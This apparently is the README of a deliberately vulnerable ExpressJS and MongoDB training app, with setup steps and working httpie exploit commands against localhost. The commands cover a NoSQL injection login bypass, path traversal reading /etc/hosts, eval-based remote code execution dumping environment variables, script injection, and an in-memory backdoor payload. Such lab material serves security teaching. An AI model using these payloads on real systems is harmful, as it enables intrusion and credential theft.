An ExpressJS (tarpit) application using mongoDB.
I am using httpie, an alternative to curl to trigger exploits.
🤞🤞🤞 I hope all goes as smooth as possible
- NodeJS Get the latest version
- MongoDB Community Edition Install Mongodb Community Edition and run setup provided in documentation
- Docker
- Run the command
make start
start mongoDB server (sudo mongod
)
start mongoDB client (mongo
)
Insert user rows using the query
node db-init.js
Run npm install
to install all dependencies for the project to run
Run npm run server
to start the application and you will provided a local address to open in browser
Login can be exploited with the following query as the username and password are not validated
http --print=HB POST http://localhost:8089/api/v1/login username:='{"$gt": ""}' password:='{"$gt": ""}'
Can get access to any file on the server using the command
http GET http://localhost:8089/api/v1/image-lookup image=="/etc/hosts"
RCE exploting eval
on server
http GET http://localhost:8089/user-input userInput=="console.log(process.env)"
Injecting script onto user browser
http GET http://localhost:8089/user-input userInput=="alert('You system is under our control now.')"
Can exploit the whole server by injecting something like the code below (https://medium.com/lift-security/in-memory-backdoor-for-node-js-express-apps-2a3f4301925b)
http GET http://localhost:8089/user-input userInput=="res.cookie('appLocals',JSON.stringify(req.app.locals))"